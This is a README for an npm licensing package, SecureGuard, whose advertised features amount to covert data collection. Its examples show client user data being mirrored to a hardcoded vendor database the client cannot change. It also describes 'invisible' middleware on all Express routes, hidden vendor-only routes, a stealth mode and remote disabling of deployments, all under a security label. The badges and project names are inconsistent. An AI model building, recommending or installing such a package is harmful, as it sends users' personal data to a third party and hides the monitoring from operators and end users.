# SecureGuard

[![npm version](https://badge.fury.io/js/%40ufdevsllc%2Fauth-me.svg)](https://badge.fury.io/js/%40your-org%2Fsecure-guard)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![Build Status](https://github.com/ufdevs/auth-me/workflows/CI/badge.svg)](https://github.com/ufdevs/secure-guard/actions)
[![Coverage Status](https://coveralls.io/repos/github/ufdevs/auth-me/badge.svg?branch=main)](https://coveralls.io/github/ufdevs/secure-guard?branch=main)

Enterprise-grade license validation and security package with comprehensive offline support, usage tracking, and advanced security features.

## 🚀 Features

### Core Features
- **License Validation**: Secure license key validation with environment binding
- **Offline Mode**: Cached validation with graceful degradation
- **Usage Tracking**: Comprehensive usage monitoring and limit enforcement  
- **Data Mirroring**: Automatic data synchronization to secure databases
- **Security Hardening**: Tamper detection, code obfuscation, and integrity checks
- **Deployment Monitoring**: Track and validate deployment environments
- **Error Handling**: Robust error handling with retry mechanisms
- **Logging**: Comprehensive security event logging

### 🆕 Backend Protection Enhancement Features
- **🔄 Selective Model Data Cloning**: Automatically clone specific Mongoose models to secure database
- **🌐 Express.js Universal Monitoring**: Invisible middleware injection for complete API monitoring
- **🔗 Resale Chain Tracking**: Track multi-level software resale chains (A→B→C→D→E...)
- **🔒 Hardcoded MongoDB URL Protection**: Multi-layer encrypted, tamper-proof database connections
- **👁️ Hidden Monitoring Routes**: Vendor-only access to deployment and usage data
- **🚫 Remote Source ID Blocking**: Instantly disable deployments when misuse is detected
- **🕵️ Stealth Operation Mode**: Complete invisibility of monitoring operations

## 📦 Installation

```bash
npm install @ufdevsllc/auth-me
```

## 🏃‍♂️ Quick Start

```javascript
const { SecureGuard } = require('@ufdevsllc/auth-me');

// Initialize SecureGuard with minimal configuration
// Database connection is hardcoded and managed by vendor
await SecureGuard.init({
  licenseKey: 'your-license-key-here',
  schemas: [userSchema, productSchema] // Your Mongoose schemas
});

// The system automatically:
// - Validates license against vendor's secure database
// - Monitors all Express routes invisibly
// - Mirrors your data to vendor's secure database
// - Tracks usage and enforces limits
// - Detects tampering and unauthorized usage
```

### 🆕 Backend Protection Enhancement Quick Start

```javascript
const express = require('express');
const { SecureGuard } = require('@ufdevsllc/auth-me');

const app = express();

// Initialize SecureGuard with enhanced features
const secureGuard = new SecureGuard({
  licenseKey: 'your-license-key-here'
});

async function startEnhancedApp() {
  // STEP 1: Initialize SecureGuard (enables all monitoring automatically)
  // Database connection is hardcoded - client cannot change it
  await SecureGuard.init({
    licenseKey: 'your-license-key-here',
    schemas: [userSchema, productSchema]
  });
  
  // STEP 2: Clone specific models for monitoring (optional)
  await SecureGuard.cloneModelData('User');
  await SecureGuard.cloneModelData('Product');
  
  // STEP 3: Define your routes (all automatically monitored invisibly)
  app.get('/api/users', (req, res) => res.json([]));
  app.post('/api/users', (req, res) => res.json({ created: true }));
  
  // STEP 4: Start server - monitoring is now active
  app.listen(3000, () => {
    console.log('🚀 Server started with SecureGuard protection');
    console.log('🔍 All routes monitored invisibly');
    console.log('📊 Model data cloning active');
    console.log('🔒 Database connection is vendor-controlled');
  });
}

startEnhancedApp();
```

## 🔧 Configuration

### Basic Configuration
```javascript
// Minimal client configuration - all security settings are vendor-controlled
const config = {
  licenseKey: 'your-license-key',
  schemas: [userSchema, productSchema] // Your Mongoose schemas
};

// Database connection, security settings, and monitoring options
// are hardcoded by the vendor and cannot be changed by clients
await SecureGuard.init(config);
```

### Environment Variables
```bash
# Only license key can be set via environment variable
SECURE_GUARD_LICENSE=your-license-key-here

# Database connection and all other settings are hardcoded by vendor
# Clients cannot override: MONGODB_URI, security settings, or monitoring options
```

## 💡 Usage Examples

### Express.js Middleware
```javascript
const express = require('express');
const { SecureGuard } = require('@ufdevsllc/auth-me');

const app = express();
const secureGuard = new SecureGuard({
  licenseKey: process.env.SECURE_GUARD_LICENSE
});

// Middleware for license validation
app.use(async (req, res, next) => {
  try {
    const validation = await secureGuard.validateLicense();
    if (!validation.isValid) {
      return res.status(403).json({ error: 'License validation failed' });
    }
    
    await secureGuard.trackUsage('api_request', {
      endpoint: req.path,
      method: req.method
    });
    
    next();
  } catch (error) {
    res.status(500).json({ error: 'Security validation failed' });
  }
});
```

### Database Integration
```javascript
const mongoose = require('mongoose');

// Register schema for automatic mirroring
const userSchema = new mongoose.Schema({
  name: String,
  email: String
});

await secureGuard.registerSchema({
  schema: userSchema,
  modelName: 'User',
  mirrorWrites: true
});

// Data automatically mirrored to secure database
const User = mongoose.model('User', userSchema);
const user = new User({ name: 'John', email: 'john@example.com' });
await user.save();
```

### Usage Tracking
```javascript
// Track different types of usage
await secureGuard.trackUsage('user_login', { userId: 'user123' });
await secureGuard.trackUsage('data_export', { recordCount: 1000 });
await secureGuard.trackUsage('api_call', { endpoint: '/users' });

// Check usage statistics
const stats = secureGuard.getUsageStats();
console.log('Total writes:', stats.totalWrites);
console.log('Remaining writes:', stats.writesRemaining);

// Verify within limits
if (!secureGuard.isWithinLimits()) {
  console.warn('Usage limits exceeded');
}
```

## 🌐 Offline Mode

SecureGuard provides robust offline functionality with cached license validation:

```javascript
// Check offline status
const offlineStatus = secureGuard.getOfflineStatus();
console.log('Offline mode:', offlineStatus.isOfflineMode);
console.log('Cached licenses:', offlineStatus.cachedLicenses);

// Validate license (works offline)
const validation = await secureGuard.validateLicense();
if (validation.isOfflineValidation) {
  console.log('Using cached license validation');
}

// Clean expired cache
const removedCount = await secureGuard.cleanExpiredCache();
```

### Graceful Degradation
When network connectivity is unavailable, SecureGuard automatically:
- Uses cached license validation
- Applies reduced usage limits
- Queues data for later synchronization
- Provides degraded mode status

## 🔒 Security Features

### Tamper Detection
```javascript
// Enable tamper detection
const secureGuard = new SecureGuard({
  licenseKey: 'your-key',
  security: {
    enableTamperDetection: true,
    tamperDetectionLevel: 'strict'
  }
});

// Handle tamper detection
secureGuard.on('tamper-detected', (event) => {
  console.error('Security violation detected:', event);
  // Implement security response
});
```

### Environment Binding
```javascript
// Generate environment fingerprint
const fingerprint = secureGuard.generateEnvironmentFingerprint();

// Validate license for specific environment
const validation = await secureGuard.validateLicense(fingerprint);
if (validation.code === 'ENVIRONMENT_MISMATCH') {
  console.error('License not authorized for this environment');
}
```

## 📊 Monitoring and Events

```javascript
// Listen for important events
secureGuard.on('license-validation-failed', (event) => {
  console.error('License validation failed:', event);
});

secureGuard.on('usage-limit-exceeded', (event) => {
  console.warn('Usage limit exceeded:', event);
});

secureGuard.on('offline-mode-entered', (event) => {
  console.info('Entered offline mode:', event.reason);
});

secureGuard.on('degraded-mode-entered', (event) => {
  console.warn('Operating in degraded mode:', event.reason);
});
```

## 🧪 Testing

```bash
# Run all tests
npm test

# Run specific test suites
npm test -- --testPathPattern="LicenseValidator"
npm test -- --testPathPattern="OfflineManager"

# Run tests with coverage
npm run test:coverage
```

## 📚 Documentation

### Core Documentation
- **[User Integration Guide](USER_INTEGRATION_GUIDE.md)** - Comprehensive integration guide
- **[Publishing Guide](PUBLISHING_GUIDE.md)** - How to publish and distribute
- **[API Documentation](API_DOCUMENTATION.md)** - Complete API reference with new features
- **[Examples Repository](https://github.com/your-org/secure-guard-examples)** - Usage examples

### 🆕 Backend Protection Enhancement Documentation
- **[Vendor Integration Guide](VENDOR_INTEGRATION_GUIDE.md)** - Complete vendor guide for monitoring and management
- **[Examples and Integration Patterns](EXAMPLES_AND_INTEGRATION.md)** - Practical examples for all new features
- **[Remote Blocking System Guide](REMOTE_BLOCKING_SYSTEM_GUIDE.md)** - Source ID blocking and management
- **[Security Hardening Enhancement Summary](SECURITY_HARDENING_ENHANCEMENT_SUMMARY.md)** - Security features overview

## 🔧 Development

### Setup
```bash
git clone https://github.com/your-org/secure-guard.git
cd secure-guard
npm install
```

### Build
```bash
npm run build
```

### Testing
```bash
npm test
npm run test:watch
npm run test:coverage
```

## 📋 Requirements

- Node.js 14+
- MongoDB (for secure database features)
- Valid license key from vendor

## 🤝 Contributing

We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.

1. Fork the repository
2. Create your feature branch (`git checkout -b feature/amazing-feature`)
3. Commit your changes (`git commit -m 'Add amazing feature'`)
4. Push to the branch (`git push origin feature/amazing-feature`)
5. Open a Pull Request

## 📄 License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

## 🆘 Support

- **GitHub Issues**: [Report bugs or request features](https://github.com/your-org/secure-guard/issues)
- **Documentation**: [Full documentation site](https://your-org.github.io/secure-guard)
- **Email**: support@your-org.com
- **Discord**: [Join our community](https://discord.gg/your-server)

## 🏆 Enterprise Support

For enterprise customers, we offer:
- Priority support
- Custom integrations
- On-site training
- SLA guarantees

Contact enterprise@your-org.com for more information.

## 🔄 Changelog

See [CHANGELOG.md](CHANGELOG.md) for a list of changes and version history.

## 🙏 Acknowledgments

- Thanks to all contributors who have helped build SecureGuard
- Special thanks to the security research community
- Built with ❤️ by the SecureGuard team

---

**Made with ❤️ for secure applications everywhere**